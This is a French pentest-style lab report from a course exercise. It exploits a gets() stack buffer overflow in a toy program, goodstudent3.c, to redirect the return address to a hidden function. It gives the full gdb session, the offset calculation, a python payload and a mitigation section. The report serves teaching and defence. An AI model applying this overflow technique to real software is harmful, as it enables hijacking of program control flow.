Pentest Vulnerability Report

# Titre de la vulnérabilité

Hidden function execution by buffer overflow

# Description de la vulnérabilité

Nous allons exploiter un buffer overflow pour modifier la return address d’une fonction et exécuter une fonction cachée.

# Éléments affectés

Fichier *goodstudent3.c* de l’exercice 2 de la séance 2.

# Préalables

Le code source du programme *goodstudent3.c* est donné.

# Mise en place

Ce proof of concept est conçu sur une machine virtuelle Kali Linux 64 bits.

Nous compilons le programme avec la commande :

* gcc -g -fno-stack-protector -o goodstudent3 goodstudent3.c
* La protection de stacks protectors est désactivée

# Proof of concept

En analysant le code source du programme, nous pouvons trouver l’existence d’une fonction cachée *yes* que nous souhaitons exécuter. Nous pouvons également trouver l’utilisation d’une fonction vulnérable aux buffer overflows : la fonction *gets*.

Nous devinons donc qu’il est possible d’utiliser un buffer overflow pour modifier la return address de la fonction *check* et exécuter la fonction *yes*.

Nous lançons le programme *goodstudent3* dans gdb, et nous faisons une première exécution avec un argument quelconque afin que gdb puisse initialiser ses adresses.

┌──(sebstreb㉿kali-cli)-[~/cyber/cours2]

└─$ gdb goodstudent3

GNU gdb (Debian 13.2-1) 13.2

Copyright (C) 2023 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

Type "show copying" and "show warranty" for details.

This GDB was configured as "x86\_64-linux-gnu".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<https://www.gnu.org/software/gdb/bugs/>.

Find the GDB manual and other documentation resources online at:

<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".

Type "apropos word" to search for commands related to "word"...

Reading symbols from goodstudent3...

(gdb) run

Starting program: /home/sebstreb/cyber/cours2/goodstudent3

[Thread debugging using libthread\_db enabled]

Using host libthread\_db library "/lib/x86\_64-linux-gnu/libthread\_db.so.1".

Are you a good student?

> test

Not yet...

[Inferior 1 (process 915) exited normally

Nous mettons ensuite un breakpoint avant et après l’exécution de la fonction gets pour observer la réécriture du buffer, et nous exécutons de nouveau le programme avec une entrée quelconque pour se retrouver dans l’exécution du programme au niveau de ce breakpoint.

(gdb) disass check

Dump of assembler code for function check:

0x0000555555555195 <+0>: push %rbp

0x0000555555555196 <+1>: mov %rsp,%rbp

0x0000555555555199 <+4>: sub $0x20,%rsp

0x000055555555519d <+8>: lea -0x20(%rbp),%rax

0x00005555555551a1 <+12>: mov %rax,%rdi

0x00005555555551a4 <+15>: mov $0x0,%eax

0x00005555555551a9 <+20>: call 0x555555555060 <gets@plt>

0x00005555555551ae <+25>: lea -0x20(%rbp),%rax

0x00005555555551b2 <+29>: lea 0xe63(%rip),%rdx # 0x55555555601c

0x00005555555551b9 <+36>: mov %rdx,%rsi

0x00005555555551bc <+39>: mov %rax,%rdi

0x00005555555551bf <+42>: call 0x555555555030 <strcasecmp@plt>

0x00005555555551c4 <+47>: leave

0x00005555555551c5 <+48>: ret

End of assembler dump.

(gdb) b \*0x00005555555551a9

Breakpoint 1 at 0x5555555551a9: file goodstudent3.c, line 17.

(gdb) b \*0x00005555555551ae

Breakpoint 2 at 0x5555555551ae: file goodstudent3.c, line 18.

(gdb) run

Starting program: /home/sebstreb/cyber/cours2/goodstudent3

[Thread debugging using libthread\_db enabled]

Using host libthread\_db library "/lib/x86\_64-linux-gnu/libthread\_db.so.1".

Are you a good student?

Breakpoint 1, 0x00005555555551a9 in check () at goodstudent3.c:17

17 gets(buffer);

Nous utilisons alors *info frame* pour retrouver la valeur de la return address. Nous utilisons ensuite la fonction *x* pour afficher le contenu de la stack.

Nous utilisons les arguments x pour afficher les valeurs en hexadécimal, g pour grouper les valeurs par 8 octets pour afficher visuellement les adresses et 8 pour afficher 64 octets au total et retrouver la return address.

Nous démarrons l’inspection à partir du buffer pour voir le nombre d’octet que nous allons devoir écrire. Nous affichons pour finir l’adresse de la fonction yes avec la fonction *print*.

(gdb) info frame

Stack level 0, frame at 0x7fffffffe0d0:

rip = 0x5555555551a9 in check (goodstudent3.c:17); saved rip = 0x5555555551f3

called by frame at 0x7fffffffe0f0

source language c.

Arglist at 0x7fffffffe0c0, args:

Locals at 0x7fffffffe0c0, Previous frame's sp is 0x7fffffffe0d0

Saved registers:

rbp at 0x7fffffffe0c0, rip at 0x7fffffffe0c8

(gdb) x/8xg buffer

0x7fffffffe0a0: 0x0000000000000000 0x0000000000000000

0x7fffffffe0b0: 0x00007fffffffe1f8 0x00007ffff7ffe2c0

0x7fffffffe0c0: 0x00007fffffffe0e0 0x00005555555551f3

0x7fffffffe0d0: 0x00007fffffffe1f8 0x0000000100000000

(gdb) p &yes

$1 = (void (\*)()) 0x555555555169 <yes>

Nous pouvons voir que la return address se trouve 40 octets après le début du buffer. Le buffer en lui-même fait 32 octets et il y a encore 8 octets entre le buffer et la return address, correspondant à la sauvegarde du base pointer de la fonction *main*.

Nous allons maintenant continuer l’exécution du programme en écrivant 48 octets pour vérifier qu’on arrive à modifier la return address.

(gdb) c

Continuing.

> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 2, check () at goodstudent3.c:18

18 return strcasecmp(buffer, "Of course!\n");

(gdb) x/8xg buffer

0x7fffffffe0a0: 0x6161616161616161 0x6161616161616161

0x7fffffffe0b0: 0x6161616161616161 0x6161616161616161

0x7fffffffe0c0: 0x6161616161616161 0x6161616161616161

0x7fffffffe0d0: 0x00007fffffffe100 0x0000000100000000

(gdb) c

Continuing.

Program received signal SIGSEGV, Segmentation fault.

0x6161616161616161 in ?? ()

Nous pouvons voir en réaffichant la stack au deuxième breakpoint que nous avons correctement modifié la return address avec la valeur 0x6161616161616161. Nous voyons ensuite en continuant l’exécution du programme qu’il arrive une segmentation fault en essayant d’exécuter les instructions à cette adresse.

Nous pouvons donc relancer le programme en envoyant comme input 40 octets puis l’adresse de la fonction yes.

(gdb) run <<< $(python2 -c "print 'A'\*40 + '\x69\x51\x55\x55\x55\x55\x00\x00'")

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/sebstreb/cyber/cours2/goodstudent3 <<< $(python2 -c "print 'A'\*40 + '\x69\x51\x55\x55\x55\x55\x00\x00'")

[Thread debugging using libthread\_db enabled]

Using host libthread\_db library "/lib/x86\_64-linux-gnu/libthread\_db.so.1".

Are you a good student?

Breakpoint 1, 0x00005555555551a9 in check () at goodstudent3.c:17

17 gets(buffer);

(gdb) x/8xg $rsp

0x7fffffffe0a0: 0x0000000000000000 0x0000000000000000

0x7fffffffe0b0: 0x00007fffffffe1f8 0x00007ffff7ffe2c0

0x7fffffffe0c0: 0x00007fffffffe0e0 0x00005555555551f3

0x7fffffffe0d0: 0x00007fffffffe1f8 0x0000000100000000

(gdb) c

Continuing.

Breakpoint 2, check () at goodstudent3.c:18

18 return strcasecmp(buffer, "Of course!\n");

(gdb) x/8xg $rsp

0x7fffffffe0a0: 0x4141414141414141 0x4141414141414141

0x7fffffffe0b0: 0x4141414141414141 0x4141414141414141

0x7fffffffe0c0: 0x4141414141414141 0x0000555555555169

0x7fffffffe0d0: 0x00007fffffffe100 0x0000000100000000

(gdb) c

Continuing.

> Yes you are!

Program received signal SIGSEGV, Segmentation fault.

0x00007fffffffe100 in ?? ()

Nous utilisons python pour envoyer notre input au programme, contenant 40 caractères A puis l’adresse de la fonction yes, avec le caractère hexadécimal correspondant à chaque octet de l’adresse. Comme Kali Linux est un système little endian, les différents octets d’une valeur en comprenant plusieurs sont stockés dans la mémoire de l’octet au poids le plus faible (le "dernier") à l’octet au poids le plus fort (le "premier"). Nous devons donc écrire les différents octets de l’adresse dans l’ordre inverse pour que celle-ci soit correctement écrite dans la mémoire.

Nous affichons le contenu de la stack avec la fonction *x*  avant et après l’appel à la fonction *gets*, et nous pouvons voir que nous modifions bien la return address pour y mettre l’adresse de la fonction *yes*. Nous continuons ensuite l’exécution du programme, et nous voyons que la fonction *yes* est bien exécutée comme recherché.

# Impact

Avec cette vulnérabilité, un utilisateur du programme *goodstudent3* pourrait exécuter la fonction cachée *yes* dans un cas d’exécution qui ne devrait pas le permettre.

# Mitigation

Pour éviter ce problème, il est nécessaire d’empêcher le buffer overflow. Cela peut être fait en utilisant la fonction *fgets* plutôt que *gets*, ou en faisant une vérification de la taille de l’argument avant de le recopier dans un buffer trop petit.